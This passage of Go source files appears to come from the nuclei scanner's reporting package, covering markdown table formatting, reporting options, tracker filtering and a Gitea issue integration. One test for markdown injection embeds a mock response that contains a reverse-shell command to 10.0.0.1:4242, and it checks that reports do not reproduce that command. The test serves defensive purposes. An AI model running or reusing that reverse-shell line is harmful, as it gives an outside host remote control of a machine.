    "content": "package format\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestToMarkdownTableString(t *testing.T) {\n\tinfo := model.Info{\n\t\tName:           \"Test Template Name\",\n\t\tAuthors:        stringslice.StringSlice{Value: []string{\"forgedhallpass\", \"ice3man\"}},\n\t\tDescription:    \"Test description\",\n\t\tSeverityHolder: severity.Holder{Severity: severity.High},\n\t\tTags:           stringslice.StringSlice{Value: []string{\"cve\", \"misc\"}},\n\t\tReference:      stringslice.NewRawStringSlice(\"reference1\"),\n\t\tMetadata: map[string]interface{}{\n\t\t\t\"customDynamicKey1\": \"customDynamicValue1\",\n\t\t\t\"customDynamicKey2\": \"customDynamicValue2\",\n\t\t},\n\t}\n\n\tresult := CreateTemplateInfoTable(&info, &util.MarkdownFormatter{})\n\n\texpectedOrderedAttributes := `| Key | Value |\n| --- | --- |\n| Name | Test Template Name |\n| Authors | forgedhallpass, ice3man |\n| Tags | cve, misc |\n| Severity | high |\n| Description | Test description |`\n\n\texpectedDynamicAttributes := []string{\n\t\t\"| customDynamicKey1 | customDynamicValue1 |\",\n\t\t\"| customDynamicKey2 | customDynamicValue2 |\",\n\t\t\"\", // the expected result ends in a new line (\\n)\n\t}\n\n\tactualAttributeSlice := strings.Split(result, \"\\n\")\n\tdynamicAttributeIndex := len(actualAttributeSlice) - len(expectedDynamicAttributes)\n\trequire.Equal(t, strings.Split(expectedOrderedAttributes, \"\\n\"), actualAttributeSlice[:dynamicAttributeIndex]) // the first part of the result is ordered\n\trequire.ElementsMatch(t, expectedDynamicAttributes, actualAttributeSlice[dynamicAttributeIndex:])              // dynamic parameters are not ordered\n}\n\nfunc TestCreateReportDescription_MarkdownInjection(t *testing.T) {\n\t// Setup a mock result event with malicious payload in various fields\n\tevent := &output.ResultEvent{\n\t\tTemplateID: \"test-template\",\n\t\tHost:       \"example.com\",\n\t\tMatched:    \"https://example.com/vulnerable\",\n\t\tType:       \"http\",\n\t\tInfo: model.Info{\n\t\t\tName:           \"Test Template\",\n\t\t\tAuthors:        stringslice.StringSlice{Value: []string{\"researcher\"}},\n\t\t\tSeverityHolder: severity.Holder{Severity: severity.High},\n\t\t\tTags:           stringslice.StringSlice{Value: []string{\"test\"}},\n\t\t},\n\t\tRequest:     \"GET / HTTP/1.1\\r\\nHost: example.com\\r\\n\\r\\n\",\n\t\tResponse:    \"HTTP/1.1 200 OK\\r\\nContent-Type: text/html\\r\\n\\r\\n<html><body>Hello, world\\r\\n\\r\\n```\\r\\n\\r\\nReferences:\\r\\n- https://rce.ee/pwned\\r\\n\\r\\n**CURL command**\\r\\n```sh\\r\\nbash -i >& /dev/tcp/10.0.0.1/4242 0>&1\\r\\n```\\r\\n</body></html>\",\n\t\tCURLCommand: \"curl -X GET https://example.com\",\n\t}\n\n\tresult := CreateReportDescription(event, &util.MarkdownFormatter{}, false)\n\tfmt.Println(result)\n\n\trequire.NotContains(t, result, \"```\\r\\n\\r\\nReferences:\\r\\n- https://rce.ee/pwned\")\n\trequire.NotContains(t, result, \"```sh\\r\\nbash -i >& /dev/tcp\")\n}\n"
  },
  {
    "path": "pkg/reporting/options.go",
    "content": "package reporting\n\nimport (\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/es\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/mongo\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/pdf\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/sarif\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/splunk\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/filters\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/gitea\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/github\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/gitlab\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/jira\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/linear\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n)\n\n// Options is a configuration file for nuclei reporting module\ntype Options struct {\n\t// AllowList contains a list of allowed events for reporting module\n\tAllowList *filters.Filter `yaml:\"allow-list\"`\n\t// DenyList contains a list of denied events for reporting module\n\tDenyList *filters.Filter `yaml:\"deny-list\"`\n\t// ValidatorCallback is a callback function that is called to validate an event before it is reported\n\tValidatorCallback func(event *output.ResultEvent) bool `yaml:\"-\"`\n\t// GitHub contains configuration options for GitHub Issue Tracker\n\tGitHub *github.Options `yaml:\"github\"`\n\t// GitLab contains configuration options for GitLab Issue Tracker\n\tGitLab *gitlab.Options `yaml:\"gitlab\"`\n\t// Gitea contains configuration options for Gitea Issue Tracker\n\tGitea *gitea.Options `yaml:\"gitea\"`\n\t// Jira contains configuration options for Jira Issue Tracker\n\tJira *jira.Options `yaml:\"jira\"`\n\t// Linear contains configuration options for Linear Issue Tracker\n\tLinear *linear.Options `yaml:\"linear\"`\n\t// MarkdownExporter contains configuration options for Markdown Exporter Module\n\tMarkdownExporter *markdown.Options `yaml:\"markdown\"`\n\t// SarifExporter contains configuration options for Sarif Exporter Module\n\tSarifExporter *sarif.Options `yaml:\"sarif\"`\n\t// ElasticsearchExporter contains configuration options for Elasticsearch Exporter Module\n\tElasticsearchExporter *es.Options `yaml:\"elasticsearch\"`\n\t// SplunkExporter contains configuration options for splunkhec Exporter Module\n\tSplunkExporter *splunk.Options `yaml:\"splunkhec\"`\n\t// JSONExporter contains configuration options for JSON Exporter Module\n\tJSONExporter *jsonexporter.Options `yaml:\"json\"`\n\t// JSONLExporter contains configuration options for JSONL Exporter Module\n\tJSONLExporter *jsonl.Options `yaml:\"jsonl\"`\n\t// PDFExporter contains configuration options for PDF Exporter Module\n\tPDFExporter *pdf.Options `yaml:\"pdf\"`\n\t// MongoDBExporter containers the configuration options for the MongoDB Exporter Module\n\tMongoDBExporter *mongo.Options `yaml:\"mongodb\"`\n\n\tHttpClient *retryablehttp.Client `yaml:\"-\"`\n\tOmitRaw    bool                  `yaml:\"-\"`\n\n\tExecutionId string `yaml:\"-\"`\n}\n"
  },
  {
    "path": "pkg/reporting/reporting.go",
    "content": "package reporting\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"sync/atomic\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/mongo\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\tjson_exporter \"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonexporter\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/jsonl\"\n\n\t\"go.uber.org/multierr\"\n\t\"gopkg.in/yaml.v2\"\n\n\t\"errors\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/dedupe\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/es\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/pdf\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/sarif\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/splunk\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/filters\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/gitea\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/github\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/gitlab\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/jira\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/linear\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n)\n\nvar (\n\tErrReportingClientCreation = errors.New(\"could not create reporting client\")\n\tErrExportClientCreation    = errors.New(\"could not create exporting client\")\n)\n\n// Tracker is an interface implemented by an issue tracker\ntype Tracker interface {\n\t// Name returns the name of the tracker\n\tName() string\n\t// CreateIssue creates an issue in the tracker\n\tCreateIssue(event *output.ResultEvent) (*filters.CreateIssueResponse, error)\n\t// CloseIssue closes an issue in the tracker\n\tCloseIssue(event *output.ResultEvent) error\n\t// ShouldFilter determines if the event should be filtered out\n\tShouldFilter(event *output.ResultEvent) bool\n}\n\n// Exporter is an interface implemented by an issue exporter\ntype Exporter interface {\n\t// Close closes the exporter after operation\n\tClose() error\n\t// Export exports an issue to an exporter\n\tExport(event *output.ResultEvent) error\n}\n\n// ReportingClient is a client for nuclei issue tracking module\ntype ReportingClient struct {\n\ttrackers  []Tracker\n\texporters []Exporter\n\toptions   *Options\n\tdedupe    *dedupe.Storage\n\n\tstats map[string]*IssueTrackerStats\n}\n\ntype IssueTrackerStats struct {\n\tCreated atomic.Int32\n\tFailed  atomic.Int32\n}\n\n// New creates a new nuclei issue tracker reporting client\nfunc New(options *Options, db string, doNotDedupe bool) (Client, error) {\n\tclient := &ReportingClient{options: options}\n\n\tif options.GitHub != nil {\n\t\toptions.GitHub.HttpClient = options.HttpClient\n\t\toptions.GitHub.OmitRaw = options.OmitRaw\n\t\ttracker, err := github.New(options.GitHub)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrapf(err, \"could not create reporting client: %v\", ErrReportingClientCreation)\n\t\t}\n\t\tclient.trackers = append(client.trackers, tracker)\n\t}\n\tif options.GitLab != nil {\n\t\toptions.GitLab.HttpClient = options.HttpClient\n\t\toptions.GitLab.OmitRaw = options.OmitRaw\n\t\ttracker, err := gitlab.New(options.GitLab)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrapf(err, \"could not create reporting client: %v\", ErrReportingClientCreation)\n\t\t}\n\t\tclient.trackers = append(client.trackers, tracker)\n\t}\n\tif options.Gitea != nil {\n\t\toptions.Gitea.HttpClient = options.HttpClient\n\t\toptions.Gitea.OmitRaw = options.OmitRaw\n\t\ttracker, err := gitea.New(options.Gitea)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrapf(err, \"could not create reporting client: %v\", ErrReportingClientCreation)\n\t\t}\n\t\tclient.trackers = append(client.trackers, tracker)\n\t}\n\tif options.Jira != nil {\n\t\toptions.Jira.HttpClient = options.HttpClient\n\t\toptions.Jira.OmitRaw = options.OmitRaw\n\t\ttracker, err := jira.New(options.Jira)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrapf(err, \"could not create reporting client: %v\", ErrReportingClientCreation)\n\t\t}\n\t\tclient.trackers = append(client.trackers, tracker)\n\t}\n\tif options.Linear != nil {\n\t\toptions.Linear.HttpClient = options.HttpClient\n\t\toptions.Linear.OmitRaw = options.OmitRaw\n\t\ttracker, err := linear.New(options.Linear)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrapf(err, \"could not create reporting client: %v\", ErrReportingClientCreation)\n\t\t}\n\t\tclient.trackers = append(client.trackers, tracker)\n\t}\n\tif options.MarkdownExporter != nil {\n\t\texporter, err := markdown.New(options.MarkdownExporter)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrapf(err, \"could not create export client: %v\", ErrExportClientCreation)\n\t\t}\n\t\tclient.exporters = append(client.exporters, exporter)\n\t}\n\tif options.SarifExporter != nil {\n\t\texporter, err := sarif.New(options.SarifExporter)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrapf(err, \"could not create export client: %v\", ErrExportClientCreation)\n\t\t}\n\t\tclient.exporters = append(client.exporters, exporter)\n\t}\n\tif options.JSONExporter != nil {\n\t\texporter, err := json_exporter.New(options.JSONExporter)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrapf(err, \"could not create export client: %v\", ErrExportClientCreation)\n\t\t}\n\t\tclient.exporters = append(client.exporters, exporter)\n\t}\n\tif options.JSONLExporter != nil {\n\t\texporter, err := jsonl.New(options.JSONLExporter)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrapf(err, \"could not create export client: %v\", ErrExportClientCreation)\n\t\t}\n\t\tclient.exporters = append(client.exporters, exporter)\n\t}\n\tif options.PDFExporter != nil {\n\t\texporter, err := pdf.New(options.PDFExporter)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrapf(err, \"could not create export client: %v\", ErrExportClientCreation)\n\t\t}\n\t\tclient.exporters = append(client.exporters, exporter)\n\t}\n\tif options.ElasticsearchExporter != nil {\n\t\toptions.ElasticsearchExporter.HttpClient = options.HttpClient\n\t\toptions.ElasticsearchExporter.ExecutionId = options.ExecutionId\n\t\texporter, err := es.New(options.ElasticsearchExporter)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrapf(err, \"could not create export client: %v\", ErrExportClientCreation)\n\t\t}\n\t\tclient.exporters = append(client.exporters, exporter)\n\t}\n\tif options.SplunkExporter != nil {\n\t\toptions.SplunkExporter.HttpClient = options.HttpClient\n\t\toptions.SplunkExporter.ExecutionId = options.ExecutionId\n\t\texporter, err := splunk.New(options.SplunkExporter)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrapf(err, \"could not create export client: %v\", ErrExportClientCreation)\n\t\t}\n\t\tclient.exporters = append(client.exporters, exporter)\n\t}\n\tif options.MongoDBExporter != nil {\n\t\texporter, err := mongo.New(options.MongoDBExporter)\n\t\tif err != nil {\n\t\t\treturn nil, errkit.Wrapf(err, \"could not create export client: %v\", ErrExportClientCreation)\n\t\t}\n\t\tclient.exporters = append(client.exporters, exporter)\n\t}\n\n\tif doNotDedupe {\n\t\treturn client, nil\n\t}\n\n\tclient.stats = make(map[string]*IssueTrackerStats)\n\tfor _, tracker := range client.trackers {\n\t\ttrackerName := tracker.Name()\n\n\t\tclient.stats[trackerName] = &IssueTrackerStats{\n\t\t\tCreated: atomic.Int32{},\n\t\t\tFailed:  atomic.Int32{},\n\t\t}\n\t}\n\n\tif db != \"\" || len(client.trackers) > 0 || len(client.exporters) > 0 {\n\t\tstorage, err := dedupe.New(db)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tclient.dedupe = storage\n\t}\n\treturn client, nil\n}\n\n// CreateConfigIfNotExists creates report-config if it doesn't exist\nfunc CreateConfigIfNotExists() error {\n\treportingConfig := config.DefaultConfig.GetReportingConfigFilePath()\n\n\tif fileutil.FileExists(reportingConfig) {\n\t\treturn nil\n\t}\n\tvalues := stringslice.StringSlice{Value: []string{}}\n\n\toptions := &Options{\n\t\tAllowList:             &filters.Filter{Tags: values},\n\t\tDenyList:              &filters.Filter{Tags: values},\n\t\tGitHub:                &github.Options{},\n\t\tGitLab:                &gitlab.Options{},\n\t\tGitea:                 &gitea.Options{},\n\t\tJira:                  &jira.Options{},\n\t\tLinear:                &linear.Options{},\n\t\tMarkdownExporter:      &markdown.Options{},\n\t\tSarifExporter:         &sarif.Options{},\n\t\tElasticsearchExporter: &es.Options{},\n\t\tSplunkExporter:        &splunk.Options{},\n\t\tJSONExporter:          &json_exporter.Options{},\n\t\tJSONLExporter:         &jsonl.Options{},\n\t\tPDFExporter:           &pdf.Options{},\n\t\tMongoDBExporter:       &mongo.Options{},\n\t}\n\treportingFile, err := os.Create(reportingConfig)\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"could not create config file\")\n\t}\n\tdefer func() {\n\t\t_ = reportingFile.Close()\n\t}()\n\n\terr = yaml.NewEncoder(reportingFile).Encode(options)\n\treturn err\n}\n\n// RegisterTracker registers a custom tracker to the reporter\nfunc (c *ReportingClient) RegisterTracker(tracker Tracker) {\n\tc.trackers = append(c.trackers, tracker)\n}\n\n// RegisterExporter registers a custom exporter to the reporter\nfunc (c *ReportingClient) RegisterExporter(exporter Exporter) {\n\tc.exporters = append(c.exporters, exporter)\n}\n\n// Close closes the issue tracker reporting client\nfunc (c *ReportingClient) Close() {\n\t// If we have stats for the trackers, print them\n\tif len(c.stats) > 0 {\n\t\tfor _, tracker := range c.trackers {\n\t\t\ttrackerName := tracker.Name()\n\n\t\t\tif stats, ok := c.stats[trackerName]; ok {\n\t\t\t\tcreated := stats.Created.Load()\n\t\t\t\tif created == 0 {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tvar msgBuilder strings.Builder\n\t\t\t\tfmt.Fprintf(&msgBuilder, \"%d %s tickets created successfully\", created, trackerName)\n\t\t\t\tfailed := stats.Failed.Load()\n\t\t\t\tif failed > 0 {\n\t\t\t\t\tfmt.Fprintf(&msgBuilder, \", %d failed\", failed)\n\t\t\t\t}\n\t\t\t\tgologger.Info().Msgf(\"%v\", msgBuilder.String())\n\t\t\t}\n\t\t}\n\t}\n\n\tif c.dedupe != nil {\n\t\tc.dedupe.Close()\n\t}\n\tfor _, exporter := range c.exporters {\n\t\t_ = exporter.Close()\n\t}\n}\n\n// CreateIssue creates an issue in the tracker\nfunc (c *ReportingClient) CreateIssue(event *output.ResultEvent) error {\n\t// process global allow/deny list\n\tif c.options.AllowList != nil && !c.options.AllowList.GetMatch(event) {\n\t\treturn nil\n\t}\n\tif c.options.DenyList != nil && c.options.DenyList.GetMatch(event) {\n\t\treturn nil\n\t}\n\n\tif c.options.ValidatorCallback != nil && !c.options.ValidatorCallback(event) {\n\t\treturn nil\n\t}\n\n\tvar err error\n\tunique := true\n\tif c.dedupe != nil {\n\t\tunique, err = c.dedupe.Index(event)\n\t}\n\tif unique {\n\t\tevent.IssueTrackers = make(map[string]output.IssueTrackerMetadata)\n\n\t\tfor _, tracker := range c.trackers {\n\t\t\t// process tracker specific allow/deny list\n\t\t\tif !tracker.ShouldFilter(event) {\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\ttrackerName := tracker.Name()\n\t\t\tstats, statsOk := c.stats[trackerName]\n\n\t\t\treportData, trackerErr := tracker.CreateIssue(event)\n\t\t\tif trackerErr != nil {\n\t\t\t\tif statsOk {\n\t\t\t\t\t_ = stats.Failed.Add(1)\n\t\t\t\t}\n\t\t\t\terr = multierr.Append(err, trackerErr)\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif statsOk {\n\t\t\t\t_ = stats.Created.Add(1)\n\t\t\t}\n\n\t\t\tevent.IssueTrackers[tracker.Name()] = output.IssueTrackerMetadata{\n\t\t\t\tIssueID:  reportData.IssueID,\n\t\t\t\tIssueURL: reportData.IssueURL,\n\t\t\t}\n\t\t}\n\t\tfor _, exporter := range c.exporters {\n\t\t\tif exportErr := exporter.Export(event); exportErr != nil {\n\t\t\t\terr = multierr.Append(err, exportErr)\n\t\t\t}\n\t\t}\n\t}\n\treturn err\n}\n\n// CloseIssue closes an issue in the tracker\nfunc (c *ReportingClient) CloseIssue(event *output.ResultEvent) error {\n\tfor _, tracker := range c.trackers {\n\t\tif !tracker.ShouldFilter(event) {\n\t\t\tcontinue\n\t\t}\n\t\tif err := tracker.CloseIssue(event); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc (c *ReportingClient) GetReportingOptions() *Options {\n\treturn c.options\n}\n\nfunc (c *ReportingClient) Clear() {\n\tif c.dedupe != nil {\n\t\tc.dedupe.Clear()\n\t}\n}\n"
  },
  {
    "path": "pkg/reporting/trackers/filters/filters.go",
    "content": "package filters\n\nimport (\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/stringslice\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n)\n\n// CreateIssueResponse is a response to creating an issue\n// in a tracker\ntype CreateIssueResponse struct {\n\tIssueID  string `json:\"issue_id\"`\n\tIssueURL string `json:\"issue_url\"`\n}\n\n// Filter filters the received event and decides whether to perform\n// reporting for it or not.\ntype Filter struct {\n\tSeverities severity.Severities     `yaml:\"severity\"`\n\tTags       stringslice.StringSlice `yaml:\"tags\"`\n}\n\n// GetMatch returns true if a filter matches result event\nfunc (filter *Filter) GetMatch(event *output.ResultEvent) bool {\n\treturn isSeverityMatch(event, filter) && isTagMatch(event, filter) // TODO revisit this\n}\n\nfunc isTagMatch(event *output.ResultEvent, filter *Filter) bool {\n\tfilterTags := filter.Tags\n\tif filterTags.IsEmpty() {\n\t\treturn true\n\t}\n\n\ttags := event.Info.Tags.ToSlice()\n\tfor _, filterTag := range filterTags.ToSlice() {\n\t\tif sliceutil.Contains(tags, filterTag) {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}\n\nfunc isSeverityMatch(event *output.ResultEvent, filter *Filter) bool {\n\tresultEventSeverity := event.Info.SeverityHolder.Severity // TODO review\n\n\tif len(filter.Severities) == 0 {\n\t\treturn true\n\t}\n\n\treturn sliceutil.Contains(filter.Severities, resultEventSeverity)\n}\n"
  },
  {
    "path": "pkg/reporting/trackers/gitea/gitea.go",
    "content": "package gitea\n\nimport (\n\t\"fmt\"\n\t\"net/url\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"code.gitea.io/sdk/gitea\"\n\t\"github.com/pkg/errors\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/output\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/exporters/markdown/util\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/format\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/reporting/trackers/filters\"\n\t\"github.com/projectdiscovery/retryablehttp-go\"\n)\n\n// Integration is a client for an issue tracker integration\ntype Integration struct {\n\tclient  *gitea.Client\n\toptions *Options\n}\n\n// Options contains the configuration options for gitea issue tracker client\ntype Options struct {\n\t// BaseURL (optional) is the self-hosted Gitea application url\n\tBaseURL string `yaml:\"base-url\" validate:\"omitempty,url\"`\n\t// Token is the token for gitea account.\n\tToken string `yaml:\"token\" validate:\"required\"`\n\t// ProjectOwner is the owner (user or org) of the repository.\n\tProjectOwner string `yaml:\"project-owner\" validate:\"required\"`\n\t// ProjectName is the name of the repository.\n\tProjectName string `yaml:\"project-name\" validate:\"required\"`\n\t// IssueLabel is the label of the created issue type\n\tIssueLabel string `yaml:\"issue-label\"`\n\t// SeverityAsLabel (optional) adds the severity as the label of the created\n\t// issue.\n\tSeverityAsLabel bool `yaml:\"severity-as-label\"`\n\t// AllowList contains a list of allowed events for this tracker\n\tAllowList *filters.Filter `yaml:\"allow-list\"`\n\t// DenyList contains a list of denied events for this tracker\n\tDenyList *filters.Filter `yaml:\"deny-list\"`\n\t// DuplicateIssueCheck is a bool to enable duplicate tracking issue check and update the newest\n\tDuplicateIssueCheck bool `yaml:\"duplicate-issue-check\" default:\"false\"`\n\t// DuplicateIssuePageSize controls how many issues are fetched per page when searching for duplicates.\n\t// If unset or <=0, a default of 100 is used.\n\tDuplicateIssuePageSize int `yaml:\"duplicate-issue-page-size\" default:\"100\"`\n\t// DuplicateIssueMaxPages limits how many pages are fetched when searching for duplicates.\n\t// If unset or <=0, all pages are fetched until exhaustion.\n\tDuplicateIssueMaxPages int `yaml:\"duplicate-issue-max-pages\" default:\"0\"`\n\n\tHttpClient *retryablehttp.Client `yaml:\"-\"`\n\tOmitRaw    bool                  `yaml:\"-\"`\n}\n\n// New creates a new issue tracker integration client based on options.\nfunc New(options *Options) (*Integration, error) {\n\n\tvar opts []gitea.ClientOption\n\topts = append(opts, gitea.SetToken(options.Token))\n\n\tif options.HttpClient != nil {\n\t\topts = append(opts, gitea.SetHTTPClient(options.HttpClient.HTTPClient))\n\t}\n\n\tvar remote string\n\tif options.BaseURL != \"\" {\n\t\tparsed, err := url.Parse(options.BaseURL)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"could not parse custom baseurl\")\n\t\t}\n\t\tif !strings.HasSuffix(parsed.Path, \"/\") {\n\t\t\tparsed.Path += \"/\"\n\t\t}\n\t\tremote = parsed.String()\n\t} else {\n\t\tremote = `https://gitea.com/`\n\t}\n\n\tgit, err := gitea.NewClient(remote, opts...)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn &Integration{client: git, options: options}, nil\n}\n\n// CreateIssue creates an issue in the tracker\nfunc (i *Integration) CreateIssue(event *output.ResultEvent) (*filters.CreateIssueResponse, error) {\n\tsummary := format.Summary(event)\n\tdescription := format.CreateReportDescription(event, util.MarkdownFormatter{}, i.options.OmitRaw)\n\n\tlabels := []string{}\n\tseverityLabel := fmt.Sprintf(\"Severity: %s\", event.Info.SeverityHolder.Severity.String())\n\tif i.options.SeverityAsLabel && severityLabel != \"\" {\n\t\tlabels = append(labels, severityLabel)\n\t}\n\tif label := i.options.IssueLabel; label != \"\" {\n\t\tlabels = append(labels, label)\n\t}\n\tcustomLabels, err := i.getLabelIDsByNames(labels)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tvar issue *gitea.Issue\n\tif i.options.DuplicateIssueCheck {\n\t\tissue, err = i.findIssueByTitle(summary)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif issue == nil {\n\t\tcreatedIssue, _, err := i.client.CreateIssue(i.options.ProjectOwner, i.options.ProjectName, gitea.CreateIssueOption{\n\t\t\tTitle:  summary,\n\t\t\tBody:   description,\n\t\t\tLabels: customLabels,\n\t\t})\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn &filters.CreateIssueResponse{\n\t\t\tIssueID:  strconv.FormatInt(createdIssue.Index, 10),\n\t\t\tIssueURL: createdIssue.URL,\n\t\t}, nil\n\t}\n\n\t_, _, err = i.client.CreateIssueComment(i.options.ProjectOwner, i.options.ProjectName, issue.Index, gitea.CreateIssueCommentOption{\n\t\tBody: description,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &filters.CreateIssueResponse{\n\t\tIssueID:  strconv.FormatInt(issue.Index, 10),\n\t\tIssueURL: issue.URL,\n\t}, nil\n}\n\nfunc (i *Integration) CloseIssue(event *output.ResultEvent) error {\n\t// TODO: Implement\n\treturn nil\n}\n\n// ShouldFilter determines if an issue should be logged to this tracker\nfunc (i *Integration) ShouldFilter(event *output.ResultEvent) bool {\n\tif i.options.AllowList != nil && !i.options.AllowList.GetMatch(event) {\n\t\treturn false\n\t}\n\n\tif i.options.DenyList != nil && i.options.DenyList.GetMatch(event) {\n\t\treturn false\n\t}\n\n\treturn true\n}\n\nfunc (i *Integration) findIssueByTitle(title string) (*gitea.Issue, error) {\n\t// Fetch issues in pages to ensure older issues are also checked for duplicates.\n\tpageSize := i.options.DuplicateIssuePageSize\n\tif pageSize <= 0 {\n\t\tpageSize = 100\n\t}\n\tmaxPages := i.options.DuplicateIssueMaxPages\n\n\topts := gitea.ListIssueOption{\n\t\tState: \"all\",\n\t\tListOptions: gitea.ListOptions{\n\t\t\tPage:     1,\n\t\t\tPageSize: pageSize,\n\t\t},\n\t}\n\n\tfor {\n\t\tif maxPages > 0 && opts.Page > maxPages {\n\t\t\treturn nil, nil\n\t\t}\n\n\t\tissueList, _, err := i.client.ListRepoIssues(i.options.ProjectOwner, i.options.ProjectName, opts)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tfor _, issue := range issueList {\n\t\t\tif issue.Title == title {\n\t\t\t\treturn issue, nil\n\t\t\t}\n\t\t}\n\n\t\tif len(issueList) < opts.PageSize {\n\t\t\t// Last page reached.\n\t\t\treturn nil, nil\n\t\t}\n\n\t\topts.Page++\n\t}\n}\n\nfunc (i *Integration) getLabelIDsByNames(labels []string) ([]int64, error) {\n\n\tvar ids []int64\n\n\texistingLabels, _, err := i.client.ListRepoLabels(i.options.ProjectOwner, i.options.ProjectName, gitea.ListLabelsOptions{\n\t\tListOptions: gitea.ListOptions{Page: -1},\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tgetLabel := func(name string) int64 {\n\t\tfor _, existingLabel := range existingLabels {\n\t\t\tif existingLabel.Name == name {\n\t\t\t\treturn existingLabel.ID\n\t\t\t}\n\t\t}\n\t\treturn -1\n\t}\n\n\tfor _, label := range labels {\n\t\tlabelID := getLabel(label)\n\t\tif labelID == -1 {\n\t\t\tnewLabel, _, err := i.client.CreateLabel(i.options.ProjectOwner, i.options.ProjectName, gitea.CreateLabelOption{\n\t\t\t\tName:        label,\n\t\t\t\tColor:       `#00aabb`,\n\t\t\t\tDescription: label,\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\tids = append(ids, newLabel.ID)\n\t\t} else {\n\t\t\tids = append(ids, labelID)\n\t\t}\n\t}\n\n\treturn ids, nil\n}\n\nfunc (i *Integration) Name() string {\n\treturn \"gitea\"\n}\n"
